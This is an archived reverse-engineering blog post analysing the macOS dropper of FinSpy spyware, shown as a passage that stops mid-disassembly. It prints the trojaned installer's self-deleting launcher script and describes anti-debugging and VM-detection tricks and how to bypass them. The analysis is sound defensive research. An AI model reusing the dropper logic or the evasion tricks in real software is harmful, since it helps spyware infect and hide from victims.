{
	"id": "c338c110-532a-4d40-a927-06b1f37c9856",
	"created_at": "2026-04-06T00:22:06.162844Z",
	"updated_at": "2026-04-10T13:13:01.577851Z",
	"deleted_at": null,
	"sha1_hash": "e81e9f8d457481075cb02e8e036ac9464fac9235",
	"title": "The Finfisher Tales, Chapter 1: The dropper",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 347228,
	"plain_text": "The Finfisher Tales, Chapter 1: The dropper\r\nBy fG!\r\nPublished: 2020-09-26 · Archived: 2026-04-05 17:49:57 UTC\r\nAmnesty International finally dropped the bomb and released a report about FinSpy spyware made by FinFisher\r\nGmbh.\r\nThe most interesting thing was the revelation of Mac and Linux versions, something that was missing from\r\nprevious reports on this commercial malware (Kaspersky, Wikileaks).\r\nTheir report summarizes the most important features but isn’t technically deep. This got me interested in verifying\r\nif FinSpy for Mac was any good malicious software or just the same kind of bullshit commercial malware like\r\nHackingTeam (they finally went kaput, oh so many crocodile tears!).\r\nA couple of years ago I wrote a series about HackingTeam Crisis malware, which they loved according to Phineas\r\nFisher hacking and leaks so, it’s time to do the same to FinFisher and FinSpy. A big thanks to Amnesty Internation\r\nfor pulling the trigger on this one.\r\nThe report contains four macOS related hashes:\r\nHash Content\r\n80d6e71c54fb3d4a904637e4d56e108a8255036cbb4760493b142889e47b951f Dropper\r\n37e749b79f4a24ead2868dffdb22c5034053615fed1166fdea05b4ca43b65c83 Encrypted ZIP payload\r\nb5304d70dfe832c5a830762f8abc5bc9c4c6431f8ecfe80a6ae37b9d4cb430fd Persistence Plist\r\n4f3003dd2ed8dcb68133f95c14e28b168bd0f52e5ae9842f528d3f7866495cea Trojaned DMG\r\nYou can download them here. Password is ‘clowns!’.\r\nThere are two different versions in these files. The first three files belong to a apparently newer version extracted\r\nfrom Jabuka.app application, and the last one apparently an older version packaged in a trojaned application\r\n( caglayan-macos.dmg ) used to infect targets. This post will be focused on the latter because it’s a complete\r\npackage.\r\nThe following is the list of files available in the DMG.\r\n/Volumes/caglayan-macos/\r\n├── .fseventsd\r\n│ └── fseventsd-uuid\r\n└── Install\\ Çağlayan.app\r\n └── Contents\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 1 of 30\n\n├── Info.plist\r\n ├── MacOS\r\n │ ├── .log\r\n │ │ └── ARA0848.app\r\n │ │ └── Contents\r\n │ │ ├── Info.plist\r\n │ │ ├── MacOS\r\n │ │ │ └── installer\r\n │ │ ├── PkgInfo\r\n │ │ └── Resources\r\n │ │ ├── English.lproj\r\n │ │ │ ├── InfoPlist.strings\r\n │ │ │ └── MainMenu.nib\r\n │ │ ├── data\r\n │ │ └── res\r\n │ ├── Install\\ Çağlayan\r\n │ └── installer\r\n ├── PkgInfo\r\n ├── Resources\r\n │ ├── Config.plist\r\n │ ├── Çağlayan\r\n │ │ └── Contents\r\n │ │ ├── Info.plist\r\n │ │ ├── MacOS\r\n │ │ │ └── Çağlayan\r\n │ │ ├── PkgInfo\r\n │ │ ├── Resources\r\n │ │ │ ├── DesktopReader.swf\r\n │ │ │ ├── Icon.icns\r\n │ │ │ ├── META-INF\r\n │ │ │ │ ├── AIR\r\n │ │ │ │ │ ├── application.xml\r\n │ │ │ │ │ └── hash\r\n │ │ │ │ └── signatures.xml\r\n │ │ │ ├── assets\r\n │ │ │ │ ├── LibraryLogo.png\r\n │ │ │ │ ├── accent-map.json\r\n │ │ │ │ ├── icons\r\n │ │ │ │ │ ├── Icon-128.png\r\n │ │ │ │ │ ├── Icon-16.png\r\n │ │ │ │ │ ├── Icon-32.png\r\n │ │ │ │ │ ├── Icon-48.png\r\n │ │ │ │ │ └── Icon-desktop.png\r\n │ │ │ │ └── info.xml\r\n │ │ │ ├── mimetype\r\n │ │ │ └── native-utils\r\n │ │ │ └── sqlite3\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 2 of 30\n\n│\n│└── _CodeSignature\n ││└── CodeResources\n │ ├── ErrorDialog.nib\n │ ├── MainMenu.nib\n │ └── NativeInstaller.icns\n └── _CodeSignature\n └── CodeResources\n22 directories, 36 files\nAnything hidden inside MacOS folder is never a good sign. In this case we have the hidden .log folder that\ncontains another application inside.\nWe can have a look at Info.plist to find out which binary is going to be executed when a user opens this\napplication. The field we are interested in is CFBundleExecutable . It points to Install Çağlayan . Assuming\nthat the plist wasn’t tampered with, the field BuildMachineOSBuild tells us that the original application was built\nin Mountain Lion latest release. This version was released in 2013.\n?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\nBuildMachineOSBuild12F45CFBundleAllowMixedLocalizationsCFBundleDevelopmentRegionEnglishCFBundleExecutableInstall ÇağlayanCFBundleIconFileNativeInstaller.icnsCFBundleIdentifiercom.coverpage.bluedome.caglayan.desktop.installerCFBundleInfoDictionaryVersion6.0CFBundlePackageTypeAPPLCFBundleShortVersionString2.0DTCompilercom.apple.compilers.llvm.clang.1_0DTPlatformBuild4H1503DTPlatformVersionGM https://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\nPage 3 of 30\n\nDTSDKBuild10K549DTSDKNamemacosx10.6DTXcode0463DTXcodeBuild4H1503LSMinimumSystemVersion10.6NSHumanReadableCopyrightNSMainNibFileMainMenuNSPrincipalClassNSApplication The next step is to see what Install Çağlayan contains.\n$ file Install\\ Çağlayan\nInstall Çağlayan: Bourne-Again shell script text executable, UTF-8 Unicode text\nNormally we should expect a Mach-O executable instead of a shell script, so something fishy is going on. Let’s\ntake a look at its contents.\n$ cat Install\\ Çağlayan\n#!/bin/bash\nBASEDIR=\"$( cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\ncd \"$BASEDIR\"\nopen .log/ARA0848.app\nsleep 2\nrm Install\\ Çağlayan\nmv installer Install\\ Çağlayan\nrm -rf .log\n./Install\\ Çağlayan\nexit\nThe script executes the hidden application, then replaces itself with the original application binary, and finally\nexecutes it to avoid suspicion by the user. This means that we should focus our attention on the installer\nbinary inside ARA0848.app application (because it’s the binary that will be executed). The hidden application\nname ARA0848.app is different from Jabuka.app mentioned in Amnesty International report. The folder\nstructure is the same and installer is described as the launcher/dropper.\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\nPage 4 of 30\n\nThe following picture describes the installation process:\r\nThe report discusses virtual machine detection and code obfuscation, so the next step is to load the installer\r\nbinary into a disassembler (IDA in my case) and start reversing it.\r\nThe first thing we can notice is that the binary wasn’t stripped because function names are available. Yeah I know,\r\ngetting strip to work with Xcode is not straightforward! Also visible are Objective-C class/method names without\r\nobfuscation (some macOS adware families obfuscate the names with junk strings).\r\n$ nm installer -s __TEXT __text\r\n000000010000594b t +[GIFileOps baseAttributes]\r\n0000000100004c0c t +[GIFileOps copy:to:]\r\n0000000100004de3 t +[GIFileOps createDirectory:shouldDelete:]\r\n000000010000628b t +[GIFileOps loadAgent:]\r\n0000000100004f4d t +[GIFileOps move:to:]\r\n0000000100005128 t +[GIFileOps remove:]\r\n0000000100005254 t +[GIFileOps rename:to:]\r\n0000000100005f80 t +[GIFileOps setDataFileAttributes:]\r\n00000001000059c1 t +[GIFileOps setDirectoryAttributes:]\r\n0000000100005d44 t +[GIFileOps setExecutableFileAttributes:]\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 5 of 30\n\n00000001000061bc t +[GIFileOps setFile:withAttributes:]\r\n0000000100005737 t +[GIFileOps setStandardAttributes:]\r\n000000010000543f t +[GIFileOps setSuid:]\r\n00000001000063ae t +[GIFileOps unloadAgent:]\r\n00000001000064d1 t +[GIFileOps unloadKext]\r\n0000000100029ca9 t +[GIFileOps(Zip) unzip:to:]\r\n000000010000765c t +[GIPath agentName]\r\n000000010000767b t +[GIPath agentSource]\r\n0000000100007726 t +[GIPath agentTarget]\r\n0000000100007298 t +[GIPath compressedPayload]\r\n0000000100007522 t +[GIPath coreName]\r\n0000000100007541 t +[GIPath coreSource]\r\n00000001000075ec t +[GIPath coreTarget]\r\n00000001000065bd t +[GIPath executables]\r\n0000000100007378 t +[GIPath expandedMainBundle]\r\n0000000100007308 t +[GIPath expandedPayload]\r\n0000000100006cb2 t +[GIPath installationMap]\r\n00000001000070d2 t +[GIPath installer]\r\n00000001000073e8 t +[GIPath kextName]\r\n0000000100007407 t +[GIPath kextSource]\r\n00000001000074b2 t +[GIPath kextTarget]\r\n0000000100007940 t +[GIPath masterKeyDirSource]\r\n00000001000078d0 t +[GIPath masterKeyDirTarget]\r\n0000000100007142 t +[GIPath payload]\r\n0000000100007796 t +[GIPath supervisorName]\r\n00000001000077b5 t +[GIPath supervisorSource]\r\n0000000100007860 t +[GIPath supervisorTarget]\r\n0000000100006f2a t +[GIPath systemTemp]\r\n0000000100007062 t +[GIPath trampoline]\r\n00000001000071ed t +[GIPath updatePackage]\r\n0000000100027f49 t -[ZipArchive CloseZipFile2]\r\n000000010002762f t -[ZipArchive CreateZipFile2:Password:]\r\n00000001000274c3 t -[ZipArchive CreateZipFile2:]\r\n0000000100029b52 t -[ZipArchive Date1980]\r\n000000010002996e t -[ZipArchive OutputErrorMessage:]\r\n0000000100029a29 t -[ZipArchive OverWrite:]\r\n00000001000297ea t -[ZipArchive UnzipCloseFile]\r\n000000010002818a t -[ZipArchive UnzipFileTo:overWrite:]\r\n000000010002816d t -[ZipArchive UnzipOpenFile:Password:]\r\n000000010002800f t -[ZipArchive UnzipOpenFile:]\r\n000000010002764c t -[ZipArchive addFileToZip:newname:]\r\n0000000100027484 t -[ZipArchive dealloc]\r\n0000000100029c46 t -[ZipArchive delegate]\r\n0000000100027300 t -[ZipArchive init]\r\n0000000100029c8c t -[ZipArchive setDelegate:]\r\n000000010000275c t -[appAppDelegate applicationDidFinishLaunching:]\r\n0000000100004884 t -[appAppDelegate askUserPermission:]\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 6 of 30\n\n0000000100003283 t -[appAppDelegate executeTrampoline]\r\n0000000100002b29 t -[appAppDelegate expandPayload]\r\n0000000100003581 t -[appAppDelegate installPayload]\r\n0000000100003e87 t -[appAppDelegate isAfterPatch]\r\n0000000100003658 t -[appAppDelegate launchNewStyle]\r\n000000010000384a t -[appAppDelegate launchOldStyle]\r\n0000000100002a41 t -[appAppDelegate removeOldResource]\r\n0000000100003c37 t -[appAppDelegate removeTraces]\r\n000000010002a781 t ___ARCLite__load\r\n000000010002aa1b t ___arclite_NSArray_objectAtIndexedSubscript\r\n000000010002aa95 t ___arclite_NSDictionary_objectForKeyedSubscript\r\n000000010002aa30 t ___arclite_NSMutableArray_setObject_atIndexedSubscript\r\n000000010002aaaa t ___arclite_NSMutableDictionary__setObject_forKeyedSubscript\r\n000000010002aad1 t ___arclite_NSMutableOrderedSet_setObject_atIndexedSubscript\r\n000000010002aabc t ___arclite_NSOrderedSet_objectAtIndexedSubscript\r\n000000010002b0bc t ___arclite_objc_autorelease\r\n000000010002aae3 t ___arclite_objc_autoreleasePoolPop\r\n000000010002ad6c t ___arclite_objc_autoreleasePoolPush\r\n000000010002b0f6 t ___arclite_objc_autoreleaseReturnValue\r\n000000010002b0a7 t ___arclite_objc_release\r\n000000010002b088 t ___arclite_objc_retain\r\n000000010002b0d1 t ___arclite_objc_retainAutorelease\r\n000000010002b10b t ___arclite_objc_retainAutoreleaseReturnValue\r\n000000010002b130 t ___arclite_objc_retainAutoreleasedReturnValue\r\n000000010002b09d t ___arclite_objc_retainBlock\r\n000000010002b145 t ___arclite_objc_storeStrong\r\n000000010002af14 t ___arclite_object_copy\r\n000000010002ad85 t ___arclite_object_setInstanceVariable\r\n000000010002ade7 t ___arclite_object_setIvar\r\n0000000100000000 T __mh_execute_header\r\n000000010001e6d2 t _add_data_in_datablock\r\n000000010002a9eb t _add_image_hook_ARC\r\n000000010002aa03 t _add_image_hook_GC\r\n00000001000270a3 t _allocate_new_datablock\r\n00000001000016e0 t _deny_ptrace\r\n00000001000081d1 t _fclose_file_func\r\n00000001000081de t _ferror_file_func\r\n0000000100008226 t _fill_fopen_filefunc\r\n00000001000079b0 t _fopen_file_func\r\n0000000100007e74 t _fread_file_func\r\n0000000100007f02 t _fseek_file_func\r\n0000000100007ef5 t _ftell_file_func\r\n0000000100007eda t _fwrite_file_func\r\n0000000100026f19 t _init_keys\r\n000000010000174f t _main\r\n000000010002a766 T _objc_retainedObject\r\n000000010002a76f T _objc_unretainedObject\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 7 of 30\n\n000000010002a778 T _objc_unretainedPointer\r\n000000010002aaf5 t _patch_lazy_pointers\r\n000000010000fab0 t _strcmpcasenosensitive_internal\r\n00000001000123b5 t _unzClose\r\n0000000100012549 t _unzCloseCurrentFile\r\n0000000100012b6f t _unzGetCurrentFileInfo\r\n000000010001525e t _unzGetFilePos\r\n000000010001a5df t _unzGetGlobalComment\r\n0000000100012adc t _unzGetGlobalInfo\r\n000000010001a111 t _unzGetLocalExtrafield\r\n000000010001aab5 t _unzGetOffset\r\n00000001000154f3 t _unzGoToFilePos\r\n0000000100012296 t _unzGoToFirstFile\r\n00000001000147be t _unzGoToNextFile\r\n0000000100014b6b t _unzLocateFile\r\n00000001000123a9 t _unzOpen\r\n0000000100010128 t _unzOpen2\r\n00000001000189cc t _unzOpenCurrentFile\r\n0000000100018a36 t _unzOpenCurrentFile2\r\n0000000100015692 t _unzOpenCurrentFile3\r\n0000000100018a20 t _unzOpenCurrentFilePassword\r\n0000000100018a43 t _unzReadCurrentFile\r\n0000000100008280 t _unzRepair\r\n000000010001ad39 t _unzSetOffset\r\n000000010000f921 t _unzStringFileNameCompare\r\n0000000100019efa t _unzeof\r\n000000010001789d t _unzlocal_CheckCurrentFileCoherencyHeader\r\n0000000100012ba9 t _unzlocal_GetCurrentFileInfoInternal\r\n000000010001ae36 t _unzlocal_getByte\r\n0000000100011d6c t _unzlocal_getLong\r\n0000000100011f96 t _unzlocal_getShort\r\n0000000100019d43 t _unztell\r\n0000000100025a9b t _zipClose\r\n0000000100023296 t _zipCloseFileInZip\r\n0000000100024e85 t _zipCloseFileInZipRaw\r\n0000000100024bda t _zipFlushWriteBuffer\r\n000000010001ef74 t _zipOpen\r\n000000010001b00b t _zipOpen2\r\n0000000100023f7c t _zipOpenNewFileInZip\r\n0000000100023f11 t _zipOpenNewFileInZip2\r\n000000010001efd2 t _zipOpenNewFileInZip3\r\n000000010002404a t _zipWriteInFileInZip\r\n00000001000232a4 t _ziplocal_TmzDateToDosDate\r\n0000000100027110 t _ziplocal_getByte\r\n000000010001e082 t _ziplocal_getLong\r\n000000010001e4ae t _ziplocal_getShort\r\n0000000100023997 t _ziplocal_putValue\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 8 of 30\n\n000000010002351c t _ziplocal_putValue_inmemory\r\n00000001000016a4 T start\r\nSomething that should always be verified is the existence of any constructors/destructors and Objective-C load\r\nmethods. These are executed before main and we need to take a look at their contents. They can be used for all\r\nkinds of tricks before code starts executing at main .\r\nIn this case there aren’t any so we can focus instead on main . The start symbol is called first but the only\r\nthing important happening there is the call to main , so we don’t need to worry about it.\r\nA small peek of main follows:\r\n__text:10000174F push rbp\r\n__text:100001750 mov rbp, rsp\r\n__text:100001753 push r15\r\n__text:100001755 push r14\r\n__text:100001757 push r13\r\n__text:100001759 push r12\r\n__text:10000175B push rbx\r\n__text:10000175C sub rsp, 398h\r\n__text:100001763 mov r14, rsi\r\n__text:100001766 mov r15d, edi\r\n__text:100001769 mov rax, cs:___stack_chk_guard_ptr\r\n__text:100001770 mov rax, [rax]\r\n__text:100001773 mov [rbp+var_30], rax\r\n__text:100001777 call _objc_autoreleasePoolPush\r\n__text:10000177C mov [rbp+context], rax\r\n__text:100001783 call _deny_ptrace ; \u003c------------ HERE\r\n__text:100001788 mov [rbp+var_40], 288h\r\n__text:100001790 lea rbx, [rbp+var_2C8]\r\n__text:100001797 mov esi, 288h\r\n__text:10000179C mov rdi, rbx\r\n__text:10000179F call ___bzero\r\n__text:1000017A4 mov dword ptr [rbp+__size], 1\r\n__text:1000017AE mov dword ptr [rbp+__size+4], 0Eh\r\n__text:1000017B8 mov [rbp+var_2D8], 1\r\n__text:1000017C2 call _getpid\r\n__text:1000017C7 mov [rbp+var_2D4], eax\r\n__text:1000017CD lea rdi, [rbp+__size] ; int *\r\n__text:1000017D4 lea rcx, [rbp+var_40] ; size_t *\r\n__text:1000017D8 mov esi, 4 ; u_int\r\n__text:1000017DD xor r8d, r8d ; void *\r\n__text:1000017E0 xor r9d, r9d ; size_t\r\n__text:1000017E3 mov rdx, rbx ; void *\r\n__text:1000017E6 call _sysctl ; \u003c----------------- HERE\r\n__text:1000017EB mov [rbp+var_34], eax\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 9 of 30\n\n__text:1000017EE mov r8d, [rbp+var_2A8]\r\n__text:1000017F5 shr r8d, 0Bh ; \u003c----------------\r\n__text:1000017F9 and r8d, 1\r\nOne of the calls is explicit on its intentions, to execute the ptrace anti-debugging trick.\r\nPT_DENY_ATTACH\r\nThis request is the other operation used by the traced process; it allows a process that is not currently\r\nbeing traced to deny future traces by its parent. All other arguments are ignored. If the process is\r\ncurrently being traced, it will exit with the exit status of ENOTSUP; otherwise, it sets a flag that denies\r\nfuture traces. An attempt by the parent to trace a process which has set this flag will result in a\r\nsegmentation violation in the parent.\r\nThe call to sysctl is also another anti-debugging trick based on Apple’s AmIBeingDebugged example. Pretty\r\nnormal, boring stuff, easy to bypass!\r\nTo bypass _deny_ptrace we can set a breakpoint at address 0x100001783 and skip the call by setting the\r\ninstruction pointer to the next address 0x100001788 . The command skip exists in lldbinit for this purpose. A\r\nkernel extension like Onyx The Black Cat can take care of this transparently or we can just breakpoint into\r\nptrace symbol and return the right value to fool the call. Skipping the call is just easier in this case.\r\nTo bypass the sysctl anti-debugging we just need to modify the return data. The debugger is detected under the\r\nfollowing condition:\r\n#define P_TRACED 0x00000800 /* Debugged process being traced */\r\nif ((info.kp_proc.p_flag \u0026 P_TRACED) != 0)\r\n{\r\n printf(\"ALERT: Debugger is found !!!!\\n\");\r\n}\r\nIf we breakpoint at address 0x1000017F5 we can simply remove 0x800 from whatever value was moved to r8\r\nat previous instruction. This is what the code is doing, verifying if bit 11 is set. Once again, there are different\r\nways to attack this from the kernel or from sysctl symbol. The breakpoint will work fine since we can script all\r\nthis in lldb .\r\nAfter the sysctl call we observe some weird code:\r\n__text:1000017E6 call _sysctl\r\n__text:1000017EB mov [rbp+var_34], eax\r\n__text:1000017EE mov r8d, [rbp+var_2A8] ; info.kp_proc.p_flag (int)\r\n__text:1000017F5 shr r8d, 0Bh\r\n__text:1000017F9 and r8d, 1\r\n__text:1000017FD mov edi, 470C6D79h\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 10 of 30\n\n__text:100001802 mov edx, 6A7B7BCBh\r\n__text:100001807 jmp short loc_100001810\r\n__text:100001809 ; ---------------------------------------------------------------------------\r\n__text:100001809\r\n__text:100001809 loc_100001809: ; CODE XREF: _main+EE↓j\r\n__text:100001809 mov esi, eax\r\n__text:10000180B mov edi, 0A25B8AE8h\r\n__text:100001810\r\n__text:100001810 loc_100001810: ; CODE XREF: _main+B8↑j\r\n__text:100001810 ; _main+106↓j\r\n__text:100001810 mov ecx, esi\r\n__text:100001812 jmp short loc_100001820\r\n__text:100001814 ; ---------------------------------------------------------------------------\r\n__text:100001814\r\n__text:100001814 loc_100001814: ; CODE XREF: _main+E6↓j\r\n__text:100001814 cmp [rbp+var_34], 0\r\n__text:100001818 mov edi, 0D4A840A1h\r\n__text:10000181D cmovnz edi, edx\r\n__text:100001820\r\n__text:100001820 loc_100001820: ; CODE XREF: _main+C3↑j\r\n__text:100001820 ; _main+DE↓j ...\r\n__text:100001820 mov ebx, edi\r\n__text:100001822 mov edi, 7BDEBDB0h\r\n__text:100001827 cmp ebx, 6A7B7BCBh\r\n__text:10000182D jz short loc_100001820\r\n__text:10000182F cmp ebx, 470C6D79h\r\n__text:100001835 jz short loc_100001814\r\n__text:100001837 cmp ebx, 7BDEBDB0h\r\n__text:10000183D jz short loc_100001809\r\n__text:10000183F mov edi, 2F10CD8Bh\r\n__text:100001844 cmp ebx, 0A25B8AE8h\r\n__text:10000184A jz short loc_100001820\r\n__text:10000184C cmp ebx, 0D4A840A1h\r\n__text:100001852 mov esi, r8d\r\n__text:100001855 jz short loc_100001810\r\n__text:100001857 cmp ebx, 2F10CD8Bh\r\n__text:10000185D jnz short loc_10000188A\r\n__text:10000185F mov [rbp+argc], r15d\r\n__text:100001866 mov [rbp+argv], r14\r\n__text:10000186D mov [rbp+var_2E8], ecx\r\n__text:100001873 mov eax, 0AA554355h\r\n__text:100001878 mov [rbp+var_300], 0\r\n__text:100001882 mov [rbp+var_2FC], ecx\r\n__text:100001888 jmp short loc_100001891\r\nThis code doesn’t look normal and executing anything useful. It is the result of LLVM-obfuscator. In this case the\r\ncontrol flow appears to be obfuscated. After the r8 test we can’t clearly see the test condition that we expect -\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 11 of 30\n\nwe can just follow a bunch of jumps based on some weird values. This appears to be LLVM-obfuscator’s Bogus\r\nControl Flow feature.\r\nThis method modifies a function call graph by adding a basic block before the current basic block. This\r\nnew basic block contains an opaque predicate and then makes a conditional jump to the original basic\r\nblock.\r\nThe original basic block is also cloned and filled up with junk instructions chosen at random.\r\nQuarksLab has a very interesting post about this obfuscator: Deobfuscation: recovering an OLLVM-protected\r\nprogram.\r\nThe function graph is too long to display here but it’s even easier to visualise the obfuscator with the decompiler:\r\n context = objc_autoreleasePoolPush();\r\n deny_ptrace();\r\n v53 = 648LL;\r\n __bzero(v51, 648LL);\r\n __size = 0xE00000001LL;\r\n v49 = 1;\r\n v50 = getpid();\r\n v5 = 4;\r\n // amIBeingDebugged\r\n v6 = sysctl((int *)\u0026__size, 4u, v51, \u0026v53, 0LL, 0LL);\r\n v54 = v6;\r\n v7 = 0x470C6D79;\r\n v8 = 0x6A7B7BCBLL;\r\n do\r\n {\r\nLABEL_3:\r\n v9 = v5;\r\n do {\r\n while ( 1 ) {\r\n do {\r\n v10 = v7;\r\n v7 = 0x7BDEBDB0;\r\n }\r\n while ( v10 == 0x6A7B7BCB );\r\n if ( v10 != 0x470C6D79 )\r\n break;\r\n v7 = 0xD4A840A1;\r\n if ( v54 )\r\n v7 = 0x6A7B7BCB;\r\n }\r\n if ( v10 == 0x7BDEBDB0 ) {\r\n v5 = v6;\r\n v7 = 0xA25B8AE8;\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 12 of 30\n\ngoto LABEL_3;\r\n }\r\n v7 = 0x2F10CD8B;\r\n }\r\n while ( v10 == 0xA25B8AE8 );\r\n // the P_TRACED check\r\n // info.kp_proc.p_flag\r\n v5 = (v52 \u003e\u003e 11) \u0026 1;\r\n }\r\n while ( v10 == 0xD4A840A1 );\r\n argca = argc;\r\n argva = argv;\r\n v46 = v9;\r\n v11 = 0xAA554355;\r\n v41 = 0;\r\n v42 = v9;\r\nJust visually we can see that the do while blocks are pretty weird and the checks don’t seem useful at all. The\r\nbiggest issue of this obfuscation is that to step and debug the control flow is annoying and takes time.\r\nWe can step every instruction in the debugger, which can be slow (although just the first time since then we can\r\nset breakpoints for next sessions). To trace the code paths we can use tools such as PIN and Lighthouse. All the\r\nbogus flow would still be traced and flagged but we could visualise which areas were executed and which weren’t.\r\nBut there is no need to bring bazookas to a knife fight. Instead I simplified and just used bruteforce. I always like\r\nto look around the code to have a general feeling before deep diving into it (I’m a fan of +ORC zen cracking\r\nthing). So I saw the code basic blocks and could see the string references to virtual machine detection tricks\r\ndescribed by Amnesty report. Instead of tracing the control flow I could just gather all those basic blocks and\r\nbreakpoint all of them and hope for the best. Using the first anti-vm detection as an example:\r\n__text:100001B45 loc_100001B45: ; CODE XREF: _main+1B9↑j\r\n__text:100001B45 cmp eax, 4BB9C77Ch\r\n__text:100001B4A jnz loc_100001891\r\n__text:100001B50 xor esi, esi ; void *\r\n__text:100001B52 xor ecx, ecx ; void *\r\n__text:100001B54 xor r8d, r8d ; size_t\r\n__text:100001B57 lea rbx, aHwModel ; \"hw.model\"\r\n__text:100001B5E mov rdi, rbx ; char *\r\n__text:100001B61 lea r15, [rbp+__size]\r\n__text:100001B68 mov rdx, r15 ; size_t *\r\n__text:100001B6B call _sysctlbyname ; size_t len = 0;\r\nThe first two instructions of this block are junk, so we can set the breakpoint at address 0x100001B50 . When this\r\ncheck is finally going to be executed the debugger will breakpoint and we avoided tracing through all the bogus\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 13 of 30\n\ncontrol flow. The only problem is to automate the breakpoint addresses for the basic blocks we are interested in. I\r\njust did it by hand since there weren’t that many candidates.\r\nNevertheless as I mentioned before, the decompiler makes this even easier. I’m still not a frequent user of the\r\ndecompiler (wrongly so) and that’s the reason why I attacked this issue with the breakpoint bruteforce method.\r\nLater on I used the decompiler and this makes it so much easier to find where the interesting code is. The\r\nfollowing listing shows the full obfuscation in executeTrampoline Objective-C method:\r\nvoid __cdecl -[appAppDelegate executeTrampoline](appAppDelegate *self, SEL a2)\r\n{\r\n int i; // eax\r\n __int64 v3; // [rsp+0h] [rbp-40h] BYREF\r\n id *v4; // [rsp+8h] [rbp-38h]\r\n bool v5; // [rsp+16h] [rbp-2Ah]\r\n bool v6; // [rsp+17h] [rbp-29h]\r\n for ( i = -1314525355; ; i = -860919120 ) {\r\n while ( 1 ) {\r\n while ( 1 ) {\r\n while ( 1 ) {\r\n while ( 1 ) {\r\n while ( 1 ) {\r\n while ( 1 ) {\r\n while ( 1 ) {\r\n while ( 1 ) {\r\n while ( 1 ) {\r\n while ( 1 ) {\r\n while ( 1 ) {\r\n while ( 1 ) {\r\n while ( 1 ) {\r\n while ( 1 ) {\r\n while ( 1 ) {\r\n while ( 1 ) {\r\n while ( i \u003e 1906374694 ) {\r\n i = -378289692;\r\n if ( v5 )\r\n i = -166979571;\r\n }\r\n if ( i \u003c= 1362875871 )\r\n break;\r\n i = -653958391;\r\n if ( v6 )\r\n i = 349463466;\r\n }\r\n if ( i \u003e -1680978437 )\r\n break;\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 14 of 30\n\ni = -1260767775;\r\n }\r\n if ( i \u003e -1490852160 )\r\n break;\r\n i = -842796370;\r\n }\r\n if ( i \u003e -1260767776 )\r\n break;\r\n i = -506855829;\r\n }\r\n if ( i \u003e -1178212413 )\r\n break;\r\n v6 = (unsigned __int8)objc_msgSend(*v4, \"launchNewStyle\") == 0;\r\n i = 1362875872;\r\n }\r\n if ( i \u003c= 428753874 )\r\n break;\r\n i = 376588111;\r\n }\r\n if ( i \u003c= 376588110 )\r\n break;\r\n objc_msgSend(*v4, \"launchOldStyle\");\r\n i = -653958391;\r\n }\r\n if ( i \u003c= 349463465 )\r\n break;\r\n i = -1680978436;\r\n }\r\n if ( i \u003e -1167397111 )\r\n break;\r\nLABEL_30:\r\n i = 161326308;\r\n }\r\n if ( i \u003e -860919121 )\r\n break;\r\n i = -1946496017;\r\n }\r\n if ( i \u003c= -842796371 ) {\r\n objc_msgSend(*v4, \"launchOldStyle\");\r\n goto LABEL_30;\r\n }\r\n if ( i \u003e -653958392 )\r\n break;\r\n i = 428753875;\r\n }\r\n if ( i \u003e -506855830 )\r\n break;\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 15 of 30\n\ni = -434592465;\r\n }\r\n if ( i \u003e -434592466 )\r\n break;\r\n v4 = (id *)(\u0026v3 - 2);\r\n *(\u0026v3 - 2) = (__int64)self;\r\n v5 = (unsigned __int8)objc_msgSend(*v4, \"isAfterPatch\") == 1;\r\n i = 1906374695;\r\n }\r\n if ( i \u003e -378289693 )\r\n break;\r\n i = -1178212412;\r\n }\r\n if ( i \u003e -166979572 )\r\n break;\r\n i = 163091173;\r\n }\r\n if ( i != -166979571 )\r\n break;\r\n i = -1167397110;\r\n }\r\n if ( i != 163091173 )\r\n break;\r\n }\r\n}\r\nWhat we can clearly see in this code is that we are just interested in all the objc_msgSend calls, while the rest of\r\nthe code is just junk. To debug this function we just need to breakpoint those basic blocks and wait for the\r\ndebugger to hit them, bypassing all the junk code. This should be possible to automate so we can pass this\r\ninformation from the disassembler to the debugger and make the whole process faster.\r\nAfter breakpointing the interesting basic blocks I finally reached to the first virtual machine detection attempt. The\r\ncode queries the hardware model via sysctl and then tries to match known virtualization software. It’s a\r\nvariation of this sample code:\r\n#include \u003cstdlib.h\u003e\r\n#include \u003cstdio.h\u003e\r\n#include \u003csys/types.h\u003e\r\n#include \u003csys/sysctl.h\u003e\r\nsize_t len = 0;\r\nsysctlbyname(\"hw.model\", NULL, \u0026len, NULL, 0);\r\nif (len) {\r\n char *model = malloc(len*sizeof(char));\r\n sysctlbyname(\"hw.model\", model, \u0026len, NULL, 0);\r\n printf(\"%s\\n\", model);\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 16 of 30\n\nfree(model);\r\n}\r\nI use VMware Fusion so my model will be VMware7,1 . Then the code checks if the model string starts with\r\nvmware , parallels , or virtualbox . To bypass this check we can simply modify the model value to something\r\nelse that doesn’t match those strings such as MacOS7,1 or just modify the first byte.\r\n__text:100001B6B call _sysctlbyname ; find out the size of model string\r\n__text:100001B70 mov rdi, [rbp+__size]\r\n__text:100001B77 call 